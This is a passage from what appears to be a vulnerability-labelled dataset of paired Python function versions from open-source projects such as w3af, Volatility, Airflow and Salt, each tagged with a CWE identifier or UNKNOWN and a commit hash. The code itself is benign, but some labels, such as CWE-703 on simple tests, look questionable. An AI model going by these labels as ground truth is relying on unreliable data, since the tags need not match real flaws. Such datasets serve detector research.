        self.title_label.set_line_wrap(True)
        label_text = _('<b>An unhandled exception was raised</b>')
        self.title_label.set_markup(label_text)
        self.title_label.show()
        
        # A gtk.TextView for the exception
        frame = gtk.Frame('Traceback')
        sw = gtk.ScrolledWindow()
        sw.set_policy(gtk.POLICY_AUTOMATIC, gtk.POLICY_AUTOMATIC)
        
        self.text_view = gtk.TextView()
        self.text_view.set_size_request(150, 250) 
        self.text_view.set_editable(False)
        self.text_view.set_wrap_mode(gtk.WRAP_CHAR)

        buffer = self.text_view.get_buffer()
        buffer.set_text(tback)
        
        sw.add(self.text_view)
        frame.add(sw)
        
        # the label for the rest of the message
        self.label = gtk.Label()
        self.label.set_line_wrap(True)
        label_text = _(""<i>All this info is in a file called '%s' for later""
                       ' review.</i>\n\nIf you wish, <b>you can contribute'
                       '</b> to the w3af project and submit this bug to our'
                       ' bug tracking system from within this window. It is'
                       ' a simple <i>two step process</i>.\n\n'
                       'w3af will only send the exception traceback and the'
                       ' version information to Trac, no personal or '
                       ' confidential information is collected.')
        self.label.set_markup( label_text % fname )
        self.label.show()
        
        self.vbox.pack_start(self.title_label, True, True, 10)
        self.vbox.pack_start(frame, True, True)
        self.vbox.pack_start(self.label, True, True, 10)
        
        # the buttons
        self.hbox = gtk.HBox()
        
        self.butt_cancel = gtk.Button(stock=gtk.STOCK_CANCEL)
        self.butt_cancel.connect(""clicked"", self._handle_cancel)
        self.hbox.pack_start(self.butt_cancel, True, False)

        self.butt_send = gtk.Button(stock=gtk.STOCK_OK)
        self.butt_send.connect(""clicked"", self.report_bug)
        self.hbox.pack_start(self.butt_send, True, False)
                
        self.vbox.pack_start(self.hbox, True, False, 10)
                
        #self.resize(400,450)
        self.add(self.vbox)
        self.show_all()
        
        # This is a quick fix to get around the problem generated by ""set_selectable""
        # that selects the text by default
        self.label.select_region(0, 0)",,andresriancho/w3af,259396ea7c03d57d2cfa5b5cd72c0b24a90ddaf0,"def __init__(self, w3af_core, title, tback, fname, plugins):
        # Before doing anything else, cleanup the report to remove any
        # user information that might be present.
        tback = cleanup_bug_report(tback)
        
        simple_base_window.__init__(self)
        trac_bug_report.__init__(self, tback, fname, plugins)
        
        # We got here because of an autogenerated bug, not because of the user
        # going to the Help menu and then clicking on ""Report a bug""
        self.autogen = True
        
        # Set generic window settings
        self.set_modal(True)
        self.set_title(title)
        
        self.vbox = gtk.VBox()
        self.vbox.set_border_width(10)
        
        # the label for the title
        self.title_label = gtk.Label()
        self.title_label.set_line_wrap(True)
        label_text = _('<b>An unhandled exception was raised</b>')
        self.title_label.set_markup(label_text)
        self.title_label.show()
        
        # A gtk.TextView for the exception
        frame = gtk.Frame('Traceback')
        sw = gtk.ScrolledWindow()
        sw.set_policy(gtk.POLICY_AUTOMATIC, gtk.POLICY_AUTOMATIC)
        
        self.text_view = gtk.TextView()
        self.text_view.set_size_request(150, 250) 
        self.text_view.set_editable(False)
        self.text_view.set_wrap_mode(gtk.WRAP_CHAR)

        buffer = self.text_view.get_buffer()
        buffer.set_text(tback)
        
        sw.add(self.text_view)
        frame.add(sw)
        
        # the label for the rest of the message
        self.label = gtk.Label()
        self.label.set_line_wrap(True)
        label_text = _(""<i>All this info is in a file called '%s' for later"")
        label_text += _(' review.</i>\n\nIf you wish, <b>you can contribute')
        label_text += _('</b> to the w3af project and submit this bug to our')
        label_text += _(' bug tracking system from within this window. It is')
        label_text += _(' a simple <i>two step process</i>.\n\n')
        label_text += _('w3af will only send the exception traceback and the')
        label_text += _(' version information to Trac, no personal or ')
        label_text += _(' confidential information is collected.')
        self.label.set_markup( label_text % fname )
        self.label.show()
        
        self.vbox.pack_start(self.title_label, True, True, 10)
        self.vbox.pack_start(frame, True, True)
        self.vbox.pack_start(self.label, True, True, 10)
        
        # the buttons
        self.hbox = gtk.HBox()
        
        self.butt_cancel = gtk.Button(stock=gtk.STOCK_CANCEL)
        self.butt_cancel.connect(""clicked"", self._handle_cancel)
        self.hbox.pack_start(self.butt_cancel, True, False)

        self.butt_send = gtk.Button(stock=gtk.STOCK_OK)
        self.butt_send.connect(""clicked"", self.report_bug)
        self.hbox.pack_start(self.butt_send, True, False)
        
        self.vbox.pack_start(self.hbox, True, False, 10)
                
        #self.resize(400,450)
        self.add(self.vbox)
        self.show_all()
        
        # This is a quick fix to get around the problem generated by ""set_selectable""
        # that selects the text by default
        self.label.select_region(0, 0)"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/modules.py,0,"def render_text(self, outfd, data):
        offsettype = ""(V)"" if not self._config.PHYSICAL_OFFSET else ""(P)""
        self.table_header(outfd,
                          [(""Offset{0}"".format(offsettype), ""[addrpad]""),
                           (""Name"", ""20""),
                           ('Base', ""[addrpad]""),
                           ('Size', ""[addr]""),
                           ('File', """")
                           ])

        for module in data:
            if not self._config.PHYSICAL_OFFSET:
                offset = module.obj_offset
            else:
                offset = module.obj_vm.vtop(module.obj_offset)
            self.table_row(outfd,
                         offset,
                         str(module.BaseDllName  or ''),
                         module.DllBase,
                         module.SizeOfImage,
                         str(module.FullDllName or ''))",,volatilityfoundation/volatility,b2c726b7b06193c1133b17309d3ce45c4af82a44,"def render_text(self, outfd, data):
        offsettype = ""(V)"" if not self._config.PHYSICAL_OFFSET else ""(P)""
        self.table_header(outfd,
                          [(""Offset{0}"".format(offsettype), ""[addrpad]""),
                           (""Name"", ""20""),
                           ('Base', ""[addrpad]""),
                           ('Size', ""[addr]""),
                           ('File', """")
                           ])

        for module in data:
            if not self._config.PHYSICAL_OFFSET:
                offset = module.obj_offset
            else:
                offset = module.obj_vm.vtop(module.obj_offset)
            self.table_row(outfd,
                         offset,
                         module.BaseDllName,
                         module.DllBase,
                         module.SizeOfImage,
                         module.FullDllName)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/migrations/versions/82b7c48c147f_remove_can_read_permission_on_config_.py,0,"def upgrade():
    """"""Remove can_read action from config resource for User and Viewer role""""""
    log = logging.getLogger()
    handlers = log.handlers[:]

    appbuilder = create_app(config={'FAB_UPDATE_PERMS': False}).appbuilder
    roles_to_modify = [role for role in appbuilder.sm.get_all_roles() if role.name in [""User"", ""Viewer""]]
    can_read_on_config_perm = appbuilder.sm.get_permission(
        permissions.ACTION_CAN_READ, permissions.RESOURCE_CONFIG
    )

    for role in roles_to_modify:
        if appbuilder.sm.permission_exists_in_one_or_more_roles(
            permissions.RESOURCE_CONFIG, permissions.ACTION_CAN_READ, [role.id]
        ):
            appbuilder.sm.remove_permission_from_role(role, can_read_on_config_perm)

    log.handlers = handlers",CWE-Unknown,apache/airflow,6deebec04c71373f5f99a14a3477fc4d6dc9bcdc,"def upgrade():
    """"""Remove can_read action from config resource for User and Viewer role""""""
    log = logging.getLogger()
    handlers = log.handlers[:]

    appbuilder = create_app(config={'FAB_UPDATE_PERMS': False}).appbuilder
    roles_to_modify = [role for role in appbuilder.sm.get_all_roles() if role.name in [""User"", ""Viewer""]]
    can_read_on_config_perm = appbuilder.sm.get_permission(
        permissions.ACTION_CAN_READ, permissions.RESOURCE_CONFIG
    )

    for role in roles_to_modify:
        if appbuilder.sm.exist_permission_on_roles(
            permissions.RESOURCE_CONFIG, permissions.ACTION_CAN_READ, [role.id]
        ):
            appbuilder.sm.remove_permission_from_role(role, can_read_on_config_perm)

    log.handlers = handlers"
,UNKNOWN,UNKNOWN,salt/state.py,1,"def call(self, low, chunks=None, running=None, retries=1):
        '''
        Call a state directly with the low data structure, verify data
        before processing.
        '''
        use_uptime = False
        if os.path.isfile('/proc/uptime'):
            use_uptime = True
            with salt.utils.files.fopen('/proc/uptime', 'r') as fp_:
                start_uptime = float(fp_.readline().split()[0])
        utc_start_time = datetime.datetime.utcnow()
        local_start_time = utc_start_time - (datetime.datetime.utcnow() - datetime.datetime.now())
        log.info('Running state [%s] at time %s',
            low['name'].strip() if isinstance(low['name'], six.string_types)
                else low['name'],
            local_start_time.time().isoformat()
        )
        errors = self.verify_data(low)
        if errors:
            ret = {
                'result': False,
                'name': low['name'],
                'changes': {},
                'comment': '',
                }
            for err in errors:
                ret['comment'] += '{0}\n'.format(err)
            ret['__run_num__'] = self.__run_num
            self.__run_num += 1
            format_log(ret)
            self.check_refresh(low, ret)
            return ret
        else:
            ret = {'result': False, 'name': low['name'], 'changes': {}}

        self.state_con['runas'] = low.get('runas', None)

        if low['state'] == 'cmd' and 'password' in low:
            self.state_con['runas_password'] = low['password']
        else:
            self.state_con['runas_password'] = low.get('runas_password', None)

        if not low.get('__prereq__'):
            log.info(
                'Executing state %s.%s for [%s]',
                low['state'],
                low['fun'],
                low['name'].strip() if isinstance(low['name'], six.string_types)
                    else low['name']
            )

        if 'provider' in low:
            self.load_modules(low)

        state_func_name = '{0[state]}.{0[fun]}'.format(low)
        cdata = salt.utils.args.format_call(
            self.states[state_func_name],
            low,
            initial_ret={'full': state_func_name},
            expected_extra_kws=STATE_INTERNAL_KEYWORDS
        )
        inject_globals = {
            # Pass a copy of the running dictionary, the low state chunks and
            # the current state dictionaries.
            # We pass deep copies here because we don't want any misbehaving
            # state module to change these at runtime.
            '__low__': immutabletypes.freeze(low),
            '__running__': immutabletypes.freeze(running) if running else {},
            '__instance_id__': self.instance_id,
            '__lowstate__': immutabletypes.freeze(chunks) if chunks else {}
        }

        if '__env__' in low:
            inject_globals['__env__'] = six.text_type(low['__env__'])

        if self.inject_globals:
            inject_globals.update(self.inject_globals)

        if low.get('__prereq__'):
            test = sys.modules[self.states[cdata['full']].__module__].__opts__['test']
            sys.modules[self.states[cdata['full']].__module__].__opts__['test'] = True
        try:
            # Let's get a reference to the salt environment to use within this
            # state call.
            #
            # If the state function accepts an 'env' keyword argument, it
            # allows the state to be overridden(we look for that in cdata). If
            # that's not found in cdata, we look for what we're being passed in
            # the original data, namely, the special dunder __env__. If that's
            # not found we default to 'base'
            if ('unless' in low and '{0[state]}.mod_run_check'.format(low) not in self.states) or \
                    ('onlyif' in low and '{0[state]}.mod_run_check'.format(low) not in self.states):
                ret.update(self._run_check(low))

            if not self.opts.get('lock_saltenv', False):
                # NOTE: Overriding the saltenv when lock_saltenv is blocked in
                # salt/modules/state.py, before we ever get here, but this
                # additional check keeps use of the State class outside of the
                # salt/modules/state.py from getting around this setting.
                if 'saltenv' in low:
                    inject_globals['__env__'] = six.text_type(low['saltenv'])
                elif isinstance(cdata['kwargs'].get('env', None), six.string_types):
                    # User is using a deprecated env setting which was parsed by
                    # format_call.
                    # We check for a string type since module functions which
                    # allow setting the OS environ also make use of the ""env""
                    # keyword argument, which is not a string
                    inject_globals['__env__'] = six.text_type(cdata['kwargs']['env'])

            if '__env__' not in inject_globals:
                # Let's use the default environment
                inject_globals['__env__'] = 'base'

            if '__orchestration_jid__' in low:
                inject_globals['__orchestration_jid__'] = \
                    low['__orchestration_jid__']

            if 'result' not in ret or ret['result'] is False:
                self.states.inject_globals = inject_globals
                if self.mocked:
                    ret = mock_ret(cdata)
                else:
                    # Execute the state function
                    if not low.get('__prereq__') and low.get('parallel'):
                        # run the state call in parallel, but only if not in a prereq
                        ret = self.call_parallel(cdata, low)
                    else:
                        self.format_slots(cdata)
                        ret = self.states[cdata['full']](*cdata['args'],
                                                         **cdata['kwargs'])
                self.states.inject_globals = {}
            if 'check_cmd' in low and '{0[state]}.mod_run_check_cmd'.format(low) not in self.states:
                ret.update(self._run_check_cmd(low))
        except Exception:
            trb = traceback.format_exc()
            # There are a number of possibilities to not have the cdata
            # populated with what we might have expected, so just be smart
            # enough to not raise another KeyError as the name is easily
            # guessable and fallback in all cases to present the real
            # exception to the user
            name = (cdata.get('args') or [None])[0] or cdata['kwargs'].get('name')
            if not name:
                name = low.get('name', low.get('__id__'))

            ret = {
                'result': False,
                'name': name,
                'changes': {},
                'comment': 'An exception occurred in this state: {0}'.format(
                    trb)
            }
        finally:
            if low.get('__prereq__'):
                sys.modules[self.states[cdata['full']].__module__].__opts__['test'] = test

            self.state_con.pop('runas', None)
            self.state_con.pop('runas_password', None)

        if not isinstance(ret, dict):
            return ret

        # If format_call got any warnings, let's show them to the user
        if 'warnings' in cdata:
            ret.setdefault('warnings', []).extend(cdata['warnings'])

        if 'provider' in low:
            self.load_modules()

        if low.get('__prereq__'):
            low['__prereq__'] = False
            return ret

        ret['__sls__'] = low.get('__sls__')
        ret['__run_num__'] = self.__run_num
        self.__run_num += 1
        format_log(ret)
        self.check_refresh(low, ret)
        if use_uptime:
            with salt.utils.files.fopen('/proc/uptime', 'r') as fp_:
                finish_uptime = float(fp_.readline().split()[0])
        utc_finish_time = datetime.datetime.utcnow()
        timezone_delta = datetime.datetime.utcnow() - datetime.datetime.now()
        local_finish_time = utc_finish_time - timezone_delta
        local_start_time = utc_start_time - timezone_delta
        ret['start_time'] = local_start_time.time().isoformat()
        if use_uptime:
            duration = (finish_uptime - start_uptime) * 1000.0
        else:
            delta = (utc_finish_time - utc_start_time)
            # duration in milliseconds.microseconds
            duration = (delta.seconds * 1000000 + delta.microseconds) / 1000.0
        ret['duration'] = duration
        ret['__id__'] = low['__id__']
        log.info(
            'Completed state [%s] at time %s (duration_in_ms=%s)',
            low['name'].strip() if isinstance(low['name'], six.string_types)
                else low['name'],
            local_finish_time.time().isoformat(),
            duration
        )
        if 'retry' in low:
            low['retry'] = self.verify_retry_data(low['retry'])
            if not sys.modules[self.states[cdata['full']].__module__].__opts__['test']:
                if low['retry']['until'] != ret['result']:
                    if low['retry']['attempts'] > retries:
                        interval = low['retry']['interval']
                        if low['retry']['splay'] != 0:
                            interval = interval + random.randint(0, low['retry']['splay'])
                        log.info(
                            'State result does not match retry until value, '
                            'state will be re-run in %s seconds', interval
                        )
                        self.functions['test.sleep'](interval)
                        retry_ret = self.call(low, chunks, running, retries=retries+1)
                        orig_ret = ret
                        ret = retry_ret
                        ret['comment'] = '\n'.join(
                                [(
                                     'Attempt {0}: Returned a result of ""{1}"", '
                                     'with the following comment: ""{2}""'.format(
                                         retries,
                                         orig_ret['result'],
                                         orig_ret['comment'])
                                 ),
                                 '' if not ret['comment'] else ret['comment']])
                        ret['duration'] = ret['duration'] + orig_ret['duration'] + (interval * 1000)
                        if retries == 1:
                            ret['start_time'] = orig_ret['start_time']
            else:
                ret['comment'] = '  '.join(
                        ['' if not ret['comment'] else ret['comment'],
                         ('The state would be retried every {1} seconds '
                          '(with a splay of up to {3} seconds) '
                          'a maximum of {0} times or until a result of {2} '
                          'is returned').format(low['retry']['attempts'],
                                                low['retry']['interval'],
                                                low['retry']['until'],
                                                low['retry']['splay'])])
        return ret",CWE-330,saltstack/salt,a0d55df7664ff97f6863d9fa4c5f2b0da721577b,"def call(self, low, chunks=None, running=None, retries=1):
        '''
        Call a state directly with the low data structure, verify data
        before processing.
        '''
        utc_start_time = datetime.datetime.utcnow()
        local_start_time = utc_start_time - (datetime.datetime.utcnow() - datetime.datetime.now())
        log.info('Running state [%s] at time %s',
            low['name'].strip() if isinstance(low['name'], six.string_types)
                else low['name'],
            local_start_time.time().isoformat()
        )
        errors = self.verify_data(low)
        if errors:
            ret = {
                'result': False,
                'name': low['name'],
                'changes': {},
                'comment': '',
                }
            for err in errors:
                ret['comment'] += '{0}\n'.format(err)
            ret['__run_num__'] = self.__run_num
            self.__run_num += 1
            format_log(ret)
            self.check_refresh(low, ret)
            return ret
        else:
            ret = {'result': False, 'name': low['name'], 'changes': {}}

        self.state_con['runas'] = low.get('runas', None)

        if low['state'] == 'cmd' and 'password' in low:
            self.state_con['runas_password'] = low['password']
        else:
            self.state_con['runas_password'] = low.get('runas_password', None)

        if not low.get('__prereq__'):
            log.info(
                'Executing state %s.%s for [%s]',
                low['state'],
                low['fun'],
                low['name'].strip() if isinstance(low['name'], six.string_types)
                    else low['name']
            )

        if 'provider' in low:
            self.load_modules(low)

        state_func_name = '{0[state]}.{0[fun]}'.format(low)
        cdata = salt.utils.args.format_call(
            self.states[state_func_name],
            low,
            initial_ret={'full': state_func_name},
            expected_extra_kws=STATE_INTERNAL_KEYWORDS
        )
        inject_globals = {
            # Pass a copy of the running dictionary, the low state chunks and
            # the current state dictionaries.
            # We pass deep copies here because we don't want any misbehaving
            # state module to change these at runtime.
            '__low__': immutabletypes.freeze(low),
            '__running__': immutabletypes.freeze(running) if running else {},
            '__instance_id__': self.instance_id,
            '__lowstate__': immutabletypes.freeze(chunks) if chunks else {}
        }

        if '__env__' in low:
            inject_globals['__env__'] = six.text_type(low['__env__'])

        if self.inject_globals:
            inject_globals.update(self.inject_globals)

        if low.get('__prereq__'):
            test = sys.modules[self.states[cdata['full']].__module__].__opts__['test']
            sys.modules[self.states[cdata['full']].__module__].__opts__['test'] = True
        try:
            # Let's get a reference to the salt environment to use within this
            # state call.
            #
            # If the state function accepts an 'env' keyword argument, it
            # allows the state to be overridden(we look for that in cdata). If
            # that's not found in cdata, we look for what we're being passed in
            # the original data, namely, the special dunder __env__. If that's
            # not found we default to 'base'
            if ('unless' in low and '{0[state]}.mod_run_check'.format(low) not in self.states) or \
                    ('onlyif' in low and '{0[state]}.mod_run_check'.format(low) not in self.states):
                ret.update(self._run_check(low))

            if not self.opts.get('lock_saltenv', False):
                # NOTE: Overriding the saltenv when lock_saltenv is blocked in
                # salt/modules/state.py, before we ever get here, but this
                # additional check keeps use of the State class outside of the
                # salt/modules/state.py from getting around this setting.
                if 'saltenv' in low:
                    inject_globals['__env__'] = six.text_type(low['saltenv'])
                elif isinstance(cdata['kwargs'].get('env', None), six.string_types):
                    # User is using a deprecated env setting which was parsed by
                    # format_call.
                    # We check for a string type since module functions which
                    # allow setting the OS environ also make use of the ""env""
                    # keyword argument, which is not a string
                    inject_globals['__env__'] = six.text_type(cdata['kwargs']['env'])

            if '__env__' not in inject_globals:
                # Let's use the default environment
                inject_globals['__env__'] = 'base'

            if '__orchestration_jid__' in low:
                inject_globals['__orchestration_jid__'] = \
                    low['__orchestration_jid__']

            if 'result' not in ret or ret['result'] is False:
                self.states.inject_globals = inject_globals
                if self.mocked:
                    ret = mock_ret(cdata)
                else:
                    # Execute the state function
                    if not low.get('__prereq__') and low.get('parallel'):
                        # run the state call in parallel, but only if not in a prereq
                        ret = self.call_parallel(cdata, low)
                    else:
                        self.format_slots(cdata)
                        ret = self.states[cdata['full']](*cdata['args'],
                                                         **cdata['kwargs'])
                self.states.inject_globals = {}
            if 'check_cmd' in low and '{0[state]}.mod_run_check_cmd'.format(low) not in self.states:
                ret.update(self._run_check_cmd(low))
        except Exception:
            trb = traceback.format_exc()
            # There are a number of possibilities to not have the cdata
            # populated with what we might have expected, so just be smart
            # enough to not raise another KeyError as the name is easily
            # guessable and fallback in all cases to present the real
            # exception to the user
            name = (cdata.get('args') or [None])[0] or cdata['kwargs'].get('name')
            if not name:
                name = low.get('name', low.get('__id__'))

            ret = {
                'result': False,
                'name': name,
                'changes': {},
                'comment': 'An exception occurred in this state: {0}'.format(
                    trb)
            }
        finally:
            if low.get('__prereq__'):
                sys.modules[self.states[cdata['full']].__module__].__opts__['test'] = test

            self.state_con.pop('runas', None)
            self.state_con.pop('runas_password', None)

        if not isinstance(ret, dict):
            return ret

        # If format_call got any warnings, let's show them to the user
        if 'warnings' in cdata:
            ret.setdefault('warnings', []).extend(cdata['warnings'])

        if 'provider' in low:
            self.load_modules()

        if low.get('__prereq__'):
            low['__prereq__'] = False
            return ret

        ret['__sls__'] = low.get('__sls__')
        ret['__run_num__'] = self.__run_num
        self.__run_num += 1
        format_log(ret)
        self.check_refresh(low, ret)
        utc_finish_time = datetime.datetime.utcnow()
        timezone_delta = datetime.datetime.utcnow() - datetime.datetime.now()
        local_finish_time = utc_finish_time - timezone_delta
        local_start_time = utc_start_time - timezone_delta
        ret['start_time'] = local_start_time.time().isoformat()
        delta = (utc_finish_time - utc_start_time)
        # duration in milliseconds.microseconds
        duration = (delta.seconds * 1000000 + delta.microseconds) / 1000.0
        ret['duration'] = duration
        ret['__id__'] = low['__id__']
        log.info(
            'Completed state [%s] at time %s (duration_in_ms=%s)',
            low['name'].strip() if isinstance(low['name'], six.string_types)
                else low['name'],
            local_finish_time.time().isoformat(),
            duration
        )
        if 'retry' in low:
            low['retry'] = self.verify_retry_data(low['retry'])
            if not sys.modules[self.states[cdata['full']].__module__].__opts__['test']:
                if low['retry']['until'] != ret['result']:
                    if low['retry']['attempts'] > retries:
                        interval = low['retry']['interval']
                        if low['retry']['splay'] != 0:
                            interval = interval + random.randint(0, low['retry']['splay'])
                        log.info(
                            'State result does not match retry until value, '
                            'state will be re-run in %s seconds', interval
                        )
                        self.functions['test.sleep'](interval)
                        retry_ret = self.call(low, chunks, running, retries=retries+1)
                        orig_ret = ret
                        ret = retry_ret
                        ret['comment'] = '\n'.join(
                                [(
                                     'Attempt {0}: Returned a result of ""{1}"", '
                                     'with the following comment: ""{2}""'.format(
                                         retries,
                                         orig_ret['result'],
                                         orig_ret['comment'])
                                 ),
                                 '' if not ret['comment'] else ret['comment']])
                        ret['duration'] = ret['duration'] + orig_ret['duration'] + (interval * 1000)
                        if retries == 1:
                            ret['start_time'] = orig_ret['start_time']
            else:
                ret['comment'] = '  '.join(
                        ['' if not ret['comment'] else ret['comment'],
                         ('The state would be retried every {1} seconds '
                          '(with a splay of up to {3} seconds) '
                          'a maximum of {0} times or until a result of {2} '
                          'is returned').format(low['retry']['attempts'],
                                                low['retry']['interval'],
                                                low['retry']['until'],
                                                low['retry']['splay'])])
        return ret"
,UNKNOWN,UNKNOWN,tests/providers/hashicorp/secrets/test_vault.py,1,"def test_get_conn_uri_non_existent_key(self, mock_hvac):
        """"""
        Test that if the key with connection ID is not present in Vault, _VaultClient.get_connection
        should return None
        """"""
        mock_client = mock.MagicMock()
        mock_hvac.Client.return_value = mock_client
        # Response does not contain the requested key
        mock_client.secrets.kv.v2.read_secret_version.side_effect = InvalidPath()

        kwargs = {
            ""connections_path"": ""connections"",
            ""mount_point"": ""airflow"",
            ""auth_type"": ""token"",
            ""url"": ""http://127.0.0.1:8200"",
            ""token"": ""s.7AU0I51yv1Q1lxOIg1F3ZRAS"",
        }

        test_client = VaultBackend(**kwargs)
        assert test_client.get_conn_uri(conn_id=""test_mysql"") is None
        mock_client.secrets.kv.v2.read_secret_version.assert_called_once_with(
            mount_point=""airflow"", path=""connections/test_mysql"", version=None, raise_on_deleted_version=True
        )
        assert test_client.get_connection(conn_id=""test_mysql"") is None",CWE-703,apache/airflow,cde72b6e0e6f7a03e3840a931f55feb0760b5134,"def test_get_conn_uri_non_existent_key(self, mock_hvac):
        """"""
        Test that if the key with connection ID is not present in Vault, _VaultClient.get_connection
        should return None
        """"""
        mock_client = mock.MagicMock()
        mock_hvac.Client.return_value = mock_client
        # Response does not contain the requested key
        mock_client.secrets.kv.v2.read_secret_version.side_effect = InvalidPath()

        kwargs = {
            ""connections_path"": ""connections"",
            ""mount_point"": ""airflow"",
            ""auth_type"": ""token"",
            ""url"": ""http://127.0.0.1:8200"",
            ""token"": ""s.7AU0I51yv1Q1lxOIg1F3ZRAS"",
        }

        test_client = VaultBackend(**kwargs)
        assert test_client.get_conn_uri(conn_id=""test_mysql"") is None
        mock_client.secrets.kv.v2.read_secret_version.assert_called_once_with(
            mount_point=""airflow"", path=""connections/test_mysql"", version=None
        )
        assert test_client.get_connection(conn_id=""test_mysql"") is None"
,UNKNOWN,UNKNOWN,tests/auth/managers/simple/test_simple_auth_manager.py,1,"def test_serialize_user(self, auth_manager):
        user = SimpleAuthManagerUser(username=""test"", role=""admin"")
        result = auth_manager.serialize_user(user)
        assert result == {""username"": ""test"", ""role"": ""admin""}",CWE-703,apache/airflow,d024cdab190eb46eb0ce21679f44f08df5690cb9,"def test_serialize_user(self, auth_manager):
        user = SimpleAuthManagerUser(username=""test"", role=""admin"")
        result = auth_manager.serialize_user(user)
        assert result == {""username"": ""test"", ""role"": ""admin""}"
,UNKNOWN,UNKNOWN,providers/tests/google/cloud/transfers/test_oracle_to_gcs.py,1,"def test_exec_success_json(self, gcs_hook_mock_class, oracle_hook_mock_class):
        """"""Test successful run of execute function for JSON""""""
        op = OracleToGCSOperator(
            task_id=TASK_ID, oracle_conn_id=ORACLE_CONN_ID, sql=SQL, bucket=BUCKET, filename=JSON_FILENAME
        )

        oracle_hook_mock = oracle_hook_mock_class.return_value
        oracle_hook_mock.get_conn().cursor().__iter__.return_value = iter(ROWS)
        oracle_hook_mock.get_conn().cursor().description = CURSOR_DESCRIPTION

        gcs_hook_mock = gcs_hook_mock_class.return_value

        def _assert_upload(bucket, obj, tmp_filename, mime_type=None, gzip=False, metadata=None):
            assert bucket == BUCKET
            assert JSON_FILENAME.format(0) == obj
            assert mime_type == ""application/json""
            assert gzip == GZIP
            with open(tmp_filename, ""rb"") as file:
                assert b"""".join(NDJSON_LINES) == file.read()

        gcs_hook_mock.upload.side_effect = _assert_upload

        op.execute(None)

        oracle_hook_mock_class.assert_called_once_with(oracle_conn_id=ORACLE_CONN_ID)
        oracle_hook_mock.get_conn().cursor().execute.assert_called_once_with(SQL)",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_exec_success_json(self, gcs_hook_mock_class, oracle_hook_mock_class):
        """"""Test successful run of execute function for JSON""""""
        op = OracleToGCSOperator(
            task_id=TASK_ID, oracle_conn_id=ORACLE_CONN_ID, sql=SQL, bucket=BUCKET, filename=JSON_FILENAME
        )

        oracle_hook_mock = oracle_hook_mock_class.return_value
        oracle_hook_mock.get_conn().cursor().__iter__.return_value = iter(ROWS)
        oracle_hook_mock.get_conn().cursor().description = CURSOR_DESCRIPTION

        gcs_hook_mock = gcs_hook_mock_class.return_value

        def _assert_upload(bucket, obj, tmp_filename, mime_type=None, gzip=False, metadata=None):
            assert BUCKET == bucket
            assert JSON_FILENAME.format(0) == obj
            assert ""application/json"" == mime_type
            assert GZIP == gzip
            with open(tmp_filename, ""rb"") as file:
                assert b"""".join(NDJSON_LINES) == file.read()

        gcs_hook_mock.upload.side_effect = _assert_upload

        op.execute(None)

        oracle_hook_mock_class.assert_called_once_with(oracle_conn_id=ORACLE_CONN_ID)
        oracle_hook_mock.get_conn().cursor().execute.assert_called_once_with(SQL)"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,core/controllers/targetSettings.py,0,"def setOptions( self, optionsMap ):
        '''
        This method sets all the options that are configured using the user interface 
        generated by the framework using the result of getOptions().
        
        @parameter optionsMap: A dictionary with the options for the plugin.
        @return: No value is returned.
        ''' 
        targetUrls = optionsMap['target'].getValue()
        
        for targetUrl in targetUrls:
            if not targetUrl.count('file://') and not targetUrl.count('http://')\
            and not targetUrl.count('https://'):
                raise w3afException('Invalid format for target URL ""'+ targetUrl + '"", you have to specify the protocol (http/https/file).' )
        
        for targetUrl in targetUrls:
            if targetUrl.count('file://'):
                try:
                    f = open( targetUrl.replace( 'file://' , '' ) )
                except:
                    raise w3afException('Cannot open target file: ' + targetUrl.replace( 'file://' , '' ) )
                else:
                    for line in f:
                        targetUrls.append( line.strip() )
                    f.close()
                targetUrls.remove( targetUrl )
        
        # Now we perform a check to see if the user has specified more than one target
        # domain, for example: ""http://google.com, http://yahoo.com"".
        domainList = [urlParser.getDomain(targetURL) for targetURL in targetUrls]
        domainList = list( set(domainList) )
        if len( domainList ) > 1:
            msg = 'You specified more than one target domain: ' + ','.join(domainList)
            msg += ' . And w3af only supports one target domain at the time.'
            raise w3afException(msg)
        
        # Save in the config, the target URLs, this may be usefull for some plugins.
        cf.cf.save('targets', targetUrls)
        cf.cf.save('targetDomains', [ urlParser.getDomain( i ) for i in targetUrls ] )
        cf.cf.save('baseURLs', [ urlParser.baseUrl( i ) for i in targetUrls ] )
        
        if targetUrls:
            sessName = [ urlParser.getDomain(x) for x in targetUrls ]
            sessName = '-'.join(sessName)
        else:
            sessName = 'noTarget'

        cf.cf.save('sessionName', sessName + '-' + time.strftime('%Y-%b-%d_%H-%M') )
        
        # Advanced target selection
        os = optionsMap['targetOS'].getValueStr()
        if os.lower() in self._operatingSystems:
            cf.cf.save('targetOS', os.lower() )
        else:
            raise w3afException('Unknown target operating system: ' + os)
        
        pf = optionsMap['targetFramework'].getValueStr()
        if pf.lower() in self._programmingFrameworks:
            cf.cf.save('targetFramework', pf.lower() )
        else:
            raise w3afException('Unknown target programming framework: ' + pf)",,andresriancho/w3af,c5f2940c949c449328915a617acb5dcf6dec6112,"def setOptions( self, optionsMap ):
        '''
        This method sets all the options that are configured using the user interface 
        generated by the framework using the result of getOptions().
        
        @parameter optionsMap: A dictionary with the options for the plugin.
        @return: No value is returned.
        ''' 
        targetUrls = optionsMap['target'].getValue()
        
        for targetUrl in targetUrls:
            if not targetUrl.count('file://') and not targetUrl.count('http://')\
            and not targetUrl.count('https://'):
                raise w3afException('Invalid format for target URL ""'+ targetUrl + '"", you have to specify the protocol (http/https/file).' )
        
        for targetUrl in targetUrls:
            if targetUrl.count('file://'):
                try:
                    f = open( targetUrl.replace( 'file://' , '' ) )
                except:
                    raise w3afException('Cannot open target file: ' + targetUrl.replace( 'file://' , '' ) )
                else:
                    for line in f:
                        targetUrls.append( line.strip() )
                    f.close()
                targetUrls.remove( targetUrl )
        
        # Now we perform a check to see if the user has specified more than one target
        # domain, for example: ""http://google.com, http://yahoo.com"".
        domainList = [urlParser.getDomain(targetURL) for targetURL in targetUrls]
        domainList = list( set(domainList) )
        if len( domainList ) != 1:
            msg = 'You specified more than one target domain: ' + ','.join(domainList)
            msg += ' . And w3af only supports one target domain at the time.'
            raise w3afException(msg)
        
        # Save in the config, the target URLs, this may be usefull for some plugins.
        cf.cf.save('targets', targetUrls)
        cf.cf.save('targetDomains', [ urlParser.getDomain( i ) for i in targetUrls ] )
        cf.cf.save('baseURLs', [ urlParser.baseUrl( i ) for i in targetUrls ] )
        
